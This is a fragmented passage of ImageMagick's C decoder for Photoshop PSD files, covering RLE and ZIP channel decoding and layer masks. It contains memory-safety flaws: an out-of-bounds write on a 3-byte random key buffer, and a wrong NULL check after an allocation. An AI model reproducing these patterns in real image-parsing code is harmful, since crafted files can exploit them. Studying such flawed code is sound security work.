image->columns; x++)\n {\n MagickRealType\n alpha,\n intensity;", " alpha=(MagickRealType) GetPixelAlpha(image,q);\n intensity=GetPixelIntensity(complete_mask,p);\n if (revert == MagickFalse)\n SetPixelAlpha(image,ClampToQuantum(intensity*(QuantumScale*alpha)),q);\n else if (intensity > 0)\n SetPixelAlpha(image,ClampToQuantum((alpha/intensity)*QuantumRange),q);\n q+=GetPixelChannels(image);\n p+=GetPixelChannels(complete_mask);\n }\n if (SyncAuthenticPixels(image,exception) == MagickFalse)\n status=MagickFalse;\n }\n complete_mask=DestroyImage(complete_mask);\n return(status);\n}", "static void PreservePSDOpacityMask(Image *image,LayerInfo* layer_info,\n ExceptionInfo *exception)\n{\n char\n *key;", " RandomInfo\n *random_info;", " StringInfo\n *key_info;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" preserving opacity mask\");\n random_info=AcquireRandomInfo();\n key_info=GetRandomKey(random_info,2+1);\n key=(char *) GetStringInfoDatum(key_info);\n key[8]=(char) layer_info->mask.background;\n key[9]='\\0';\n layer_info->mask.image->page.x+=layer_info->page.x;\n layer_info->mask.image->page.y+=layer_info->page.y;\n (void) SetImageRegistry(ImageRegistryType,(const char *) key,\n layer_info->mask.image,exception);\n (void) SetImageArtifact(layer_info->image,\"psd:opacity-mask\",\n (const char *) key);\n key_info=DestroyStringInfo(key_info);\n random_info=DestroyRandomInfo(random_info);\n}", "static ssize_t DecodePSDPixels(const size_t number_compact_pixels,\n const unsigned char *compact_pixels,const ssize_t depth,\n const size_t number_pixels,unsigned char *pixels)\n{\n#define CheckNumberCompactPixels \\\n if (packets == 0) \\\n return(i); \\\n packets--", "#define CheckNumberPixels(count) \\\n if (((ssize_t) i + count) > (ssize_t) number_pixels) \\\n return(i); \\\n i+=count", " int\n pixel;", " ssize_t\n i,\n j;", " size_t\n length;", " ssize_t\n packets;", " packets=(ssize_t) number_compact_pixels;\n for (i=0; (packets > 1) && (i < (ssize_t) number_pixels); )\n {\n packets--;\n length=(size_t) (*compact_pixels++);\n if (length == 128)\n continue;\n if (length > 128)\n {\n length=256-length+1;\n CheckNumberCompactPixels;\n pixel=(*compact_pixels++);\n for (j=0; j < (ssize_t) length; j++)\n {\n switch (depth)\n {\n case 1:\n {\n CheckNumberPixels(8);\n *pixels++=(pixel >> 7) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 6) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 5) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 4) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 3) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 2) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 1) & 0x01 ? 0U : 255U;\n *pixels++=(pixel >> 0) & 0x01 ? 0U : 255U;\n break;\n }\n case 2:\n {\n CheckNumberPixels(4);\n *pixels++=(unsigned char) ((pixel >> 6) & 0x03);\n *pixels++=(unsigned char) ((pixel >> 4) & 0x03);\n *pixels++=(unsigned char) ((pixel >> 2) & 0x03);\n *pixels++=(unsigned char) ((pixel & 0x03) & 0x03);\n break;\n }\n case 4:\n {\n CheckNumberPixels(2);\n *pixels++=(unsigned char) ((pixel >> 4) & 0xff);\n *pixels++=(unsigned char) ((pixel & 0x0f) & 0xff);\n break;\n }\n default:\n {\n CheckNumberPixels(1);\n *pixels++=(unsigned char) pixel;\n break;\n }\n }\n }\n continue;\n }\n length++;\n for (j=0; j < (ssize_t) length; j++)\n {\n CheckNumberCompactPixels;\n switch (depth)\n {\n case 1:\n {\n CheckNumberPixels(8);\n *pixels++=(*compact_pixels >> 7) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 6) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 5) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 4) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 3) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 2) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 1) & 0x01 ? 0U : 255U;\n *pixels++=(*compact_pixels >> 0) & 0x01 ? 0U : 255U;\n break;\n }\n case 2:\n {\n CheckNumberPixels(4);\n *pixels++=(*compact_pixels >> 6) & 0x03;\n *pixels++=(*compact_pixels >> 4) & 0x03;\n *pixels++=(*compact_pixels >> 2) & 0x03;\n *pixels++=(*compact_pixels & 0x03) & 0x03;\n break;\n }\n case 4:\n {\n CheckNumberPixels(2);\n *pixels++=(*compact_pixels >> 4) & 0xff;\n *pixels++=(*compact_pixels & 0x0f) & 0xff;\n break;\n }\n default:\n {\n CheckNumberPixels(1);\n *pixels++=(*compact_pixels);\n break;\n }\n }\n compact_pixels++;\n }\n }\n return(i);\n}", "static inline LayerInfo *DestroyLayerInfo(LayerInfo *layer_info,\n const ssize_t number_layers)\n{\n ssize_t\n i;", " for (i=0; i<number_layers; i++)\n {\n if (layer_info[i].image != (Image *) NULL)\n layer_info[i].image=DestroyImage(layer_info[i].image);\n if (layer_info[i].mask.image != (Image *) NULL)\n layer_info[i].mask.image=DestroyImage(layer_info[i].mask.image);\n if (layer_info[i].info != (StringInfo *) NULL)\n layer_info[i].info=DestroyStringInfo(layer_info[i].info);\n }", " return (LayerInfo *) RelinquishMagickMemory(layer_info);\n}", "static inline size_t GetPSDPacketSize(const Image *image)\n{\n if (image->storage_class == PseudoClass)\n {\n if (image->colors > 256)\n return(2);\n }\n if (image->depth > 16)\n return(4);\n if (image->depth > 8)\n return(2);", " return(1);\n}", "static inline MagickSizeType GetPSDSize(const PSDInfo *psd_info,Image *image)\n{\n if (psd_info->version == 1)\n return((MagickSizeType) ReadBlobLong(image));\n return((MagickSizeType) ReadBlobLongLong(image));\n}", "static inline size_t GetPSDRowSize(Image *image)\n{\n if (image->depth == 1)\n return(((image->columns+7)/8)*GetPSDPacketSize(image));\n else\n return(image->columns*GetPSDPacketSize(image));\n}", "static const char *ModeToString(PSDImageType type)\n{\n switch (type)\n {\n case BitmapMode: return \"Bitmap\";\n case GrayscaleMode: return \"Grayscale\";\n case IndexedMode: return \"Indexed\";\n case RGBMode: return \"RGB\";\n case CMYKMode: return \"CMYK\";\n case MultichannelMode: return \"Multichannel\";\n case DuotoneMode: return \"Duotone\";\n case LabMode: return \"L*A*B\";\n default: return \"unknown\";\n }\n}", "static MagickBooleanType NegateCMYK(Image *image,ExceptionInfo *exception)\n{\n ChannelType\n channel_mask;", " MagickBooleanType\n status;", " channel_mask=SetImageChannelMask(image,(ChannelType)(AllChannels &~\n AlphaChannel));\n status=NegateImage(image,MagickFalse,exception);\n (void) SetImageChannelMask(image,channel_mask);\n return(status);\n}", "static StringInfo *ParseImageResourceBlocks(PSDInfo *psd_info,Image *image,\n const unsigned char *blocks,size_t length)\n{\n const unsigned char\n *p;", " ssize_t\n offset;", " StringInfo\n *profile;", " unsigned char\n name_length;", " unsigned int\n count;", " unsigned short\n id,\n short_sans;", " if (length < 16)\n return((StringInfo *) NULL);\n profile=BlobToStringInfo((const unsigned char *) NULL,length);\n SetStringInfoDatum(profile,blocks);\n SetStringInfoName(profile,\"8bim\");\n for (p=blocks; (p >= blocks) && (p < (blocks+length-7)); )\n {\n if (LocaleNCompare((const char *) p,\"8BIM\",4) != 0)\n break;\n p+=4;\n p=PushShortPixel(MSBEndian,p,&id);\n p=PushCharPixel(p,&name_length);\n if ((name_length % 2) == 0)\n name_length++;\n p+=name_length;\n if (p > (blocks+length-4))\n break;\n p=PushLongPixel(MSBEndian,p,&count);\n offset=(ssize_t) count;\n if (((p+offset) < blocks) || ((p+offset) > (blocks+length)))\n break;\n switch (id)\n {\n case 0x03ed:\n {\n unsigned short\n resolution;", " /*\n Resolution info.\n */\n if (offset < 16)\n break;\n p=PushShortPixel(MSBEndian,p,&resolution);\n image->resolution.x=(double) resolution;\n (void) FormatImageProperty(image,\"tiff:XResolution\",\"%*g\",\n GetMagickPrecision(),image->resolution.x);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&resolution);\n image->resolution.y=(double) resolution;\n (void) FormatImageProperty(image,\"tiff:YResolution\",\"%*g\",\n GetMagickPrecision(),image->resolution.y);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n image->units=PixelsPerInchResolution;\n break;\n }\n case 0x0421:\n {\n if ((offset > 4) && (*(p+4) == 0))\n psd_info->has_merged_image=MagickFalse;\n p+=offset;\n break;\n }\n default:\n {\n p+=offset;\n break;\n }\n }\n if ((offset & 0x01) != 0)\n p++;\n }\n return(profile);\n}", "static CompositeOperator PSDBlendModeToCompositeOperator(const char *mode)\n{\n if (mode == (const char *) NULL)\n return(OverCompositeOp);\n if (LocaleNCompare(mode,\"norm\",4) == 0)\n return(OverCompositeOp);\n if (LocaleNCompare(mode,\"mul \",4) == 0)\n return(MultiplyCompositeOp);\n if (LocaleNCompare(mode,\"diss\",4) == 0)\n return(DissolveCompositeOp);\n if (LocaleNCompare(mode,\"diff\",4) == 0)\n return(DifferenceCompositeOp);\n if (LocaleNCompare(mode,\"dark\",4) == 0)\n return(DarkenCompositeOp);\n if (LocaleNCompare(mode,\"lite\",4) == 0)\n return(LightenCompositeOp);\n if (LocaleNCompare(mode,\"hue \",4) == 0)\n return(HueCompositeOp);\n if (LocaleNCompare(mode,\"sat \",4) == 0)\n return(SaturateCompositeOp);\n if (LocaleNCompare(mode,\"colr\",4) == 0)\n return(ColorizeCompositeOp);\n if (LocaleNCompare(mode,\"lum \",4) == 0)\n return(LuminizeCompositeOp);\n if (LocaleNCompare(mode,\"scrn\",4) == 0)\n return(ScreenCompositeOp);\n if (LocaleNCompare(mode,\"over\",4) == 0)\n return(OverlayCompositeOp);\n if (LocaleNCompare(mode,\"hLit\",4) == 0)\n return(HardLightCompositeOp);\n if (LocaleNCompare(mode,\"sLit\",4) == 0)\n return(SoftLightCompositeOp);\n if (LocaleNCompare(mode,\"smud\",4) == 0)\n return(ExclusionCompositeOp);\n if (LocaleNCompare(mode,\"div \",4) == 0)\n return(ColorDodgeCompositeOp);\n if (LocaleNCompare(mode,\"idiv\",4) == 0)\n return(ColorBurnCompositeOp);\n if (LocaleNCompare(mode,\"lbrn\",4) == 0)\n return(LinearBurnCompositeOp);\n if (LocaleNCompare(mode,\"lddg\",4) == 0)\n return(LinearDodgeCompositeOp);\n if (LocaleNCompare(mode,\"lLit\",4) == 0)\n return(LinearLightCompositeOp);\n if (LocaleNCompare(mode,\"vLit\",4) == 0)\n return(VividLightCompositeOp);\n if (LocaleNCompare(mode,\"pLit\",4) == 0)\n return(PinLightCompositeOp);\n if (LocaleNCompare(mode,\"hMix\",4) == 0)\n return(HardMixCompositeOp);\n return(OverCompositeOp);\n}", "static inline ssize_t ReadPSDString(Image *image,char *p,const size_t length)\n{\n ssize_t\n count;", " count=ReadBlob(image,length,(unsigned char *) p);\n if ((count == (ssize_t) length) && (image->endian != MSBEndian))\n {\n char\n *q;", " q=p+length;\n for(--q; p < q; ++p, --q)\n {\n *p = *p ^ *q,\n *q = *p ^ *q,\n *p = *p ^ *q;\n }\n }\n return(count);\n}", "static inline void SetPSDPixel(Image *image,const PixelChannel channel,\n const size_t packet_size,const Quantum pixel,Quantum *q,\n ExceptionInfo *exception)\n{\n if (image->storage_class == PseudoClass)\n {\n PixelInfo\n *color;", " ssize_t\n index;", " if (channel == GrayPixelChannel)\n {\n index=(ssize_t) pixel;\n if (packet_size == 1)\n index=(ssize_t) ScaleQuantumToChar((Quantum) index);\n index=ConstrainColormapIndex(image,index,exception);\n SetPixelIndex(image,(Quantum) index,q);\n }\n else\n {\n index=(ssize_t) GetPixelIndex(image,q);\n index=ConstrainColormapIndex(image,index,exception);\n }\n color=image->colormap+index;\n if (channel == AlphaPixelChannel)\n color->alpha=(MagickRealType) pixel;\n SetPixelViaPixelInfo(image,color,q);\n }\n else\n SetPixelChannel(image,channel,pixel,q);\n}", "static MagickBooleanType ReadPSDChannelPixels(Image *image,const ssize_t row,\n const PixelChannel channel,const unsigned char *pixels,\n ExceptionInfo *exception)\n{\n Quantum\n pixel;", " const unsigned char\n *p;", " Quantum\n *q;", " ssize_t\n x;", " size_t\n packet_size;", " p=pixels;\n q=GetAuthenticPixels(image,0,row,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n return MagickFalse;\n packet_size=GetPSDPacketSize(image);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (packet_size == 1)\n pixel=ScaleCharToQuantum(*p++);\n else\n if (packet_size == 2)\n {\n unsigned short\n nibble;", " p=PushShortPixel(MSBEndian,p,&nibble);\n pixel=ScaleShortToQuantum(nibble);\n }\n else\n {\n MagickFloatType\n nibble;", " p=PushFloatPixel(MSBEndian,p,&nibble);\n pixel=ClampToQuantum(((MagickRealType) QuantumRange)*nibble);\n }\n if (image->depth > 1)\n {\n SetPSDPixel(image,channel,packet_size,pixel,q,exception);\n q+=GetPixelChannels(image);\n }\n else\n {\n ssize_t\n bit,\n number_bits;", " number_bits=(ssize_t) image->columns-x;\n if (number_bits > 8)\n number_bits=8;\n for (bit = 0; bit < (ssize_t) number_bits; bit++)\n {", " SetPSDPixel(image,channel,packet_size,(((unsigned char) pixel)", " & (0x01 << (7-bit))) != 0 ? 0 : QuantumRange,q,exception);\n q+=GetPixelChannels(image);\n x++;\n }\n if (x != (ssize_t) image->columns)\n x--;\n continue;\n }\n }\n return(SyncAuthenticPixels(image,exception));\n}", "static MagickBooleanType ReadPSDChannelRaw(Image *image,const PixelChannel channel,\n ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " size_t\n row_size;", " ssize_t\n count,\n y;", " unsigned char\n *pixels;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is RAW\");", " row_size=GetPSDRowSize(image);\n pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n (void) memset(pixels,0,row_size*sizeof(*pixels));", " status=MagickTrue;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n status=MagickFalse;", " count=ReadBlob(image,row_size,pixels);\n if (count != (ssize_t) row_size)\n break;", " status=ReadPSDChannelPixels(image,y,channel,pixels,exception);\n if (status == MagickFalse)\n break;\n }", " pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(status);\n}", "static inline MagickOffsetType *ReadPSDRLESizes(Image *image,\n const PSDInfo *psd_info,const size_t size)\n{\n MagickOffsetType\n *sizes;", " ssize_t\n y;", " sizes=(MagickOffsetType *) AcquireQuantumMemory(size,sizeof(*sizes));\n if(sizes != (MagickOffsetType *) NULL)\n {\n for (y=0; y < (ssize_t) size; y++)\n {\n if (psd_info->version == 1)\n sizes[y]=(MagickOffsetType) ReadBlobShort(image);\n else\n sizes[y]=(MagickOffsetType) ReadBlobLong(image);\n }\n }\n return sizes;\n}", "static MagickBooleanType ReadPSDChannelRLE(Image *image,\n const PixelChannel channel,MagickOffsetType *sizes,\n ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " size_t\n length,\n row_size;", " ssize_t\n count,\n y;", " unsigned char\n *compact_pixels,\n *pixels;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is RLE compressed\");", " row_size=GetPSDRowSize(image);\n pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);", " length=0;\n for (y=0; y < (ssize_t) image->rows; y++)\n if ((MagickOffsetType) length < sizes[y])\n length=(size_t) sizes[y];", " if (length > (row_size+2048)) /* arbitrary number */\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\"InvalidLength\",image->filename);\n }", " compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels));\n if (compact_pixels == (unsigned char *) NULL)\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }", " (void) memset(compact_pixels,0,length*sizeof(*compact_pixels));", " status=MagickTrue;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n status=MagickFalse;", " count=ReadBlob(image,(size_t) sizes[y],compact_pixels);\n if (count != (ssize_t) sizes[y])\n break;", " count=DecodePSDPixels((size_t) sizes[y],compact_pixels,\n (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels);\n if (count != (ssize_t) row_size)\n break;", " status=ReadPSDChannelPixels(image,y,channel,pixels,exception);\n if (status == MagickFalse)\n break;\n }", " compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(status);\n}", "#ifdef MAGICKCORE_ZLIB_DELEGATE\nstatic void Unpredict8Bit(const Image *image,unsigned char *pixels,\n const size_t count,const size_t row_size)\n{\n unsigned char\n *p;", " size_t\n length,\n remaining;", " p=pixels;\n remaining=count;\n while (remaining > 0)\n {\n length=image->columns;\n while (--length)\n {\n *(p+1)+=*p;\n p++;\n }\n p++;\n remaining-=row_size;\n }\n}", "static void Unpredict16Bit(const Image *image,unsigned char *pixels,\n const size_t count,const size_t row_size)\n{\n unsigned char\n *p;", " size_t\n length,\n remaining;", " p=pixels;\n remaining=count;\n while (remaining > 0)\n {\n length=image->columns;\n while (--length)\n {\n p[2]+=p[0]+((p[1]+p[3]) >> 8);\n p[3]+=p[1];\n p+=2;\n }\n p+=2;\n remaining-=row_size;\n }\n}", "static void Unpredict32Bit(const Image *image,unsigned char *pixels,\n unsigned char *output_pixels,const size_t row_size)\n{\n unsigned char\n *p,\n *q;", " ssize_t\n y;", " size_t\n offset1,\n offset2,\n offset3,\n remaining;", " unsigned char\n *start;", " offset1=image->columns;\n offset2=2*offset1;\n offset3=3*offset1;\n p=pixels;\n q=output_pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n start=p;\n remaining=row_size;\n while (--remaining)\n {\n *(p+1)+=*p;\n p++;\n }", " p=start;\n remaining=image->columns;\n while (remaining--)\n {\n *(q++)=*p;\n *(q++)=*(p+offset1);\n *(q++)=*(p+offset2);\n *(q++)=*(p+offset3);", " p++;\n }\n p=start+row_size;\n }\n}", "static MagickBooleanType ReadPSDChannelZip(Image *image,\n const PixelChannel channel,const PSDCompressionType compression,\n const size_t compact_size,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " unsigned char\n *p;", " size_t\n count,\n packet_size,\n row_size;", " ssize_t\n y;", " unsigned char\n *compact_pixels,\n *pixels;", " z_stream\n stream;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is ZIP compressed\");", " if ((MagickSizeType) compact_size > GetBlobSize(image))\n ThrowBinaryException(CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size,\n sizeof(*compact_pixels));\n if (compact_pixels == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);", " packet_size=GetPSDPacketSize(image);\n row_size=image->columns*packet_size;\n count=image->rows*row_size;", " pixels=(unsigned char *) AcquireQuantumMemory(count,sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n {\n compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n if (ReadBlob(image,compact_size,compact_pixels) != (ssize_t) compact_size)\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n ThrowBinaryException(CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n }", " memset(&stream,0,sizeof(stream));\n stream.data_type=Z_BINARY;\n stream.next_in=(Bytef *)compact_pixels;\n stream.avail_in=(uInt) compact_size;\n stream.next_out=(Bytef *)pixels;\n stream.avail_out=(uInt) count;", " if (inflateInit(&stream) == Z_OK)\n {\n int\n ret;", " while (stream.avail_out > 0)\n {\n ret=inflate(&stream,Z_SYNC_FLUSH);\n if ((ret != Z_OK) && (ret != Z_STREAM_END))\n {\n (void) inflateEnd(&stream);\n compact_pixels=(unsigned char *) RelinquishMagickMemory(\n compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(MagickFalse);\n }\n if (ret == Z_STREAM_END)\n break;\n }\n (void) inflateEnd(&stream);\n }", " if (compression == ZipWithPrediction)\n {\n if (packet_size == 1)\n Unpredict8Bit(image,pixels,count,row_size);\n else if (packet_size == 2)\n Unpredict16Bit(image,pixels,count,row_size);\n else if (packet_size == 4)\n {\n unsigned char\n *output_pixels;", " output_pixels=(unsigned char *) AcquireQuantumMemory(count,\n sizeof(*output_pixels));\n if (pixels == (unsigned char *) NULL)\n {\n compact_pixels=(unsigned char *) RelinquishMagickMemory(\n compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\n \"MemoryAllocationFailed\",image->filename);\n }\n Unpredict32Bit(image,pixels,output_pixels,row_size);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n pixels=output_pixels;\n }\n }", " status=MagickTrue;\n p=pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n status=ReadPSDChannelPixels(image,y,channel,p,exception);\n if (status == MagickFalse)\n break;", " p+=row_size;\n }", " compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(status);\n}\n#endif", "static MagickBooleanType ReadPSDChannel(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,LayerInfo* layer_info,\n const size_t channel_index,const PSDCompressionType compression,\n ExceptionInfo *exception)\n{\n Image\n *channel_image,\n *mask;", " MagickOffsetType\n end_offset,\n offset;", " MagickBooleanType\n status;", " PixelChannel\n channel;", " end_offset=(MagickOffsetType) layer_info->channel_info[channel_index].size-2;\n if (layer_info->channel_info[channel_index].supported == MagickFalse)\n {\n (void) SeekBlob(image,end_offset,SEEK_CUR);\n return(MagickTrue);\n }\n channel_image=image;\n channel=layer_info->channel_info[channel_index].channel;\n mask=(Image *) NULL;\n if (channel == ReadMaskPixelChannel)\n {\n const char\n *option;", " /*\n Ignore mask that is not a user supplied layer mask, if the mask is\n disabled or if the flags have unsupported values.\n */\n option=GetImageOption(image_info,\"psd:preserve-opacity-mask\");\n if ((layer_info->mask.flags > 2) || ((layer_info->mask.flags & 0x02) &&\n (IsStringTrue(option) == MagickFalse)) ||\n (layer_info->mask.page.width < 1) ||\n (layer_info->mask.page.height < 1))\n {\n (void) SeekBlob(image,end_offset,SEEK_CUR);\n return(MagickTrue);\n }\n mask=CloneImage(image,layer_info->mask.page.width,\n layer_info->mask.page.height,MagickFalse,exception);\n if (mask != (Image *) NULL)\n {\n (void) ResetImagePixels(mask,exception);\n (void) SetImageType(mask,GrayscaleType,exception);\n channel_image=mask;\n channel=GrayPixelChannel;\n }\n }", " offset=TellBlob(image);\n status=MagickFalse;\n switch(compression)\n {\n case Raw:\n status=ReadPSDChannelRaw(channel_image,channel,exception);\n break;\n case RLE:\n {\n MagickOffsetType\n *sizes;", " sizes=ReadPSDRLESizes(channel_image,psd_info,channel_image->rows);\n if (sizes == (MagickOffsetType *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n status=ReadPSDChannelRLE(channel_image,channel,sizes,exception);\n sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes);\n }\n break;\n case ZipWithPrediction:\n case ZipWithoutPrediction:\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n status=ReadPSDChannelZip(channel_image,channel,compression,\n (const size_t) end_offset,exception);\n#else\n (void) ThrowMagickException(exception,GetMagickModule(),\n MissingDelegateWarning,\"DelegateLibrarySupportNotBuiltIn\",\n \"'%s' (ZLIB)\",image->filename);\n#endif\n break;\n default:\n (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning,\n \"CompressionNotSupported\",\"'%.20g'\",(double) compression);\n break;\n }", " (void) SeekBlob(image,offset+end_offset,SEEK_SET);\n if (status == MagickFalse)\n {\n if (mask != (Image *) NULL)\n (void) DestroyImage(mask);\n ThrowBinaryException(CoderError,\"UnableToDecompressImage\",\n image->filename);\n }\n if (mask != (Image *) NULL)\n {\n if (layer_info->mask.image != (Image *) NULL)\n layer_info->mask.image=DestroyImage(layer_info->mask.image);\n layer_info->mask.image=mask;\n }\n return(status);\n}", "static MagickBooleanType GetPixelChannelFromPsdIndex(const PSDInfo *psd_info,\n ssize_t index,PixelChannel *channel)\n{\n *channel=RedPixelChannel;\n switch (psd_info->mode)\n {\n case BitmapMode:\n case IndexedMode:\n case GrayscaleMode:\n {\n if (index == 1)\n index=-1;\n else if (index > 1)\n index=StartMetaPixelChannel+index-2;\n break;\n }\n case LabMode:\n case MultichannelMode:\n case RGBMode:\n {\n if (index == 3)\n index=-1;\n else if (index > 3)\n index=StartMetaPixelChannel+index-4;\n break;\n }\n case CMYKMode:\n {\n if (index == 4)\n index=-1;\n else if (index > 4)\n index=StartMetaPixelChannel+index-5;\n break;\n }\n }\n if ((index < -2) || (index >= MaxPixelChannels))\n return(MagickFalse);\n if (index == -1)\n *channel=AlphaPixelChannel;\n else if (index == -2)\n *channel=ReadMaskPixelChannel;\n else\n *channel=(PixelChannel) index;\n return(MagickTrue);\n}", "static void SetPsdMetaChannels(Image *image,const PSDInfo *psd_info,\n const unsigned short channels,ExceptionInfo *exception)\n{\n ssize_t\n number_meta_channels;", " number_meta_channels=(ssize_t) channels-psd_info->min_channels;\n if (image->alpha_trait == BlendPixelTrait)\n number_meta_channels--;\n if (number_meta_channels > 0)\n (void) SetPixelMetaChannels(image,(size_t) number_meta_channels,exception);\n}", "static MagickBooleanType ReadPSDLayer(Image *image,const ImageInfo *image_info,\n const PSDInfo *psd_info,LayerInfo* layer_info,ExceptionInfo *exception)\n{\n char\n message[MagickPathExtent];", " MagickBooleanType\n status;", " PSDCompressionType\n compression;", " ssize_t\n j;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" setting up new layer image\");\n if (psd_info->mode != IndexedMode)\n (void) SetImageBackgroundColor(layer_info->image,exception);\n layer_info->image->compose=PSDBlendModeToCompositeOperator(\n layer_info->blendkey);\n if (layer_info->visible == MagickFalse)\n layer_info->image->compose=NoCompositeOp;\n /*\n Set up some hidden attributes for folks that need them.\n */\n (void) FormatLocaleString(message,MagickPathExtent,\"%.20g\",\n (double) layer_info->page.x);\n (void) SetImageArtifact(layer_info->image,\"psd:layer.x\",message);\n (void) FormatLocaleString(message,MagickPathExtent,\"%.20g\",\n (double) layer_info->page.y);\n (void) SetImageArtifact(layer_info->image,\"psd:layer.y\",message);\n (void) FormatLocaleString(message,MagickPathExtent,\"%.20g\",(double)\n layer_info->opacity);\n (void) SetImageArtifact(layer_info->image,\"psd:layer.opacity\",message);\n (void) SetImageProperty(layer_info->image,\"label\",(char *) layer_info->name,\n exception);", " SetPsdMetaChannels(layer_info->image,psd_info,layer_info->channels,exception);\n status=MagickTrue;\n for (j=0; j < (ssize_t) layer_info->channels; j++)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading data for channel %.20g\",(double) j);", " compression=(PSDCompressionType) ReadBlobShort(layer_info->image);\n layer_info->image->compression=ConvertPSDCompression(compression);", " status=ReadPSDChannel(layer_info->image,image_info,psd_info,layer_info,\n (size_t) j,compression,exception);", " if (status == MagickFalse)\n break;\n }", " if (status != MagickFalse)\n status=ApplyPSDLayerOpacity(layer_info->image,layer_info->opacity,\n MagickFalse,exception);", " if ((status != MagickFalse) &&\n (layer_info->image->colorspace == CMYKColorspace))\n status=NegateCMYK(layer_info->image,exception);", " if ((status != MagickFalse) && (layer_info->mask.image != (Image *) NULL))\n {\n const char\n *option;", " layer_info->mask.image->page.x=layer_info->mask.page.x;\n layer_info->mask.image->page.y=layer_info->mask.page.y;\n /* Do not composite the mask when it is disabled */\n if ((layer_info->mask.flags & 0x02) == 0x02)\n layer_info->mask.image->compose=NoCompositeOp;\n else\n status=ApplyPSDOpacityMask(layer_info->image,layer_info->mask.image,\n layer_info->mask.background == 0 ? 0 : QuantumRange,MagickFalse,\n exception);\n option=GetImageOption(image_info,\"psd:preserve-opacity-mask\");\n if (IsStringTrue(option) != MagickFalse)\n PreservePSDOpacityMask(image,layer_info,exception);\n layer_info->mask.image=DestroyImage(layer_info->mask.image);\n }", " return(status);\n}", "static MagickBooleanType CheckPSDChannels(const Image *image,\n const PSDInfo *psd_info,LayerInfo *layer_info)\n{\n int\n channel_type;", " size_t\n blob_size;", " ssize_t\n i;", " if (layer_info->channels < psd_info->min_channels)\n return(MagickFalse);\n channel_type=RedChannel;\n if (psd_info->min_channels >= 3)\n channel_type|=(GreenChannel | BlueChannel);\n if (psd_info->min_channels >= 4)\n channel_type|=BlackChannel;\n blob_size=(size_t) GetBlobSize(image);\n for (i=0; i < (ssize_t) layer_info->channels; i++)\n {\n PixelChannel\n channel;", " if (layer_info->channel_info[i].size >= blob_size)\n return(MagickFalse);\n if 